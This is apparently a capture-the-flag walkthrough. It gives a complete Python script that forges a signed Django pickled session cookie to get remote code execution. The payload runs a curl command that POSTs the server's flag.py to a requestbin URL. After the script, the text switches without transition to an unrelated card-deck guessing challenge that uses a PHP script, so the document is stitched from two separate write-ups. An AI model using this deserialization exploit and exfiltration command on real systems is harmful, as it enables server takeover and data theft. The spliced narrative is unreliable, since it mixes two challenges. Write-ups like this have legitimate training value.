Solution: Debug Mode & Signed Pickled Cookies (Facebook) [Challenge B]

Tools Used:
Let's start by taking an inventory of what we have to work with. From Challenge A, we have the cookie signing key. Our input point is our cookie itself (which can be edited in the Chrome Developer Tools).



Our task is to come up with a string that we can put into the cookie that will achieve code execution - specifically, we need code that will exfiltrate the contents of the flag.py file on the server to us.

Perhaps someday I'll update this walkthrough to explain the process how I created the below script, step by step. For now though, here is the script we're looking for.

Script:

secret_key = "COOKIE_SESSION_STORAGE_SIG VALUE GOES HERE"
shell_command = 'curl -X POST -d @flag.py http://requestbin.net/r/YOURIDHERE'

import pickle
import subprocess
import base64
from django.core import signing

class test(object):
    def __reduce__(self):
        return (subprocess.check_output, (tuple(shell_command.split(' ')),))

data = pickle.dumps(test())

base64d = base64.urlsafe_b64encode(data).strip(b'=')
signed_val = signing.TimestampSigner(secret_key, salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)

#THIS IS THE THING YOU STICK IN YOUR COOKIE
print signed_val

          


You must make two adjustments to the script. First, set the contents of secret_key to the actual value you retrieved in Challenge A. Second, go to requestbin.net and click Create a RequestBin. That will give you a bin url, which you must replace in the shell_command.

What this script does is put together a short code piece that POSTs the flag.py file to a remote webserver (requestbin), which then holds onto that post request until we view it. Requestbin is often used for testing webhooks, and what we're doing is kind of similar. Anyway, this short piece of code is then signed with the cookie signing key, encoded and printed to the terminal.

You then take the cookie string printed to the terminal, and edit/replace your existing cookie on the website with it (see first screenshot). Then just refresh the page, and boom your code should have been executed server-side when the server unpickled your cookie. Check request.bin for the flag.



We can see from the 5000 deck possibilities we started with, only 107 started with a queen of spades. Far better, but still not good enough - we need to narrow it down further. Let's guess "Lower", as a queen is a fairly high card.

When we guess lower, the 8 of clubs came up, so we were successful. Again in the Chrome Developer Tools, we see the api call returned the card number 33 (which represents 8 of clubs). Let's put 33 into our php script to further reduce the possible decks.



Unfortunately that still left us with 4 possible decks. The PHP script helpfully printed them, showing their ranks of each deck. In the screenshot below, you can see each of the four decks started with a Queen (rank 12), followed by an 8. From here they diverge - one deck shows a Jack (rank 11) as the next card, one shows a 5, one shows a 2, and one shows a King (rank 13).

We have a 50/50 chance, so I just guessed higher - and was victorious. We see the returned card was a Jack of Spades (card number 10). Let's put that into our PHP script and narrow it down to a single deck.



Our script returns the below image as the final and only possible deck. Observe that the next card in the sequence is supposed to be a King (rank 13).



Assuming the script is right, we should guess higher and uncover a King!



Victory. Now we just need to follow the deck order our PHP script uncovered to get a perfect score and reveal the flag.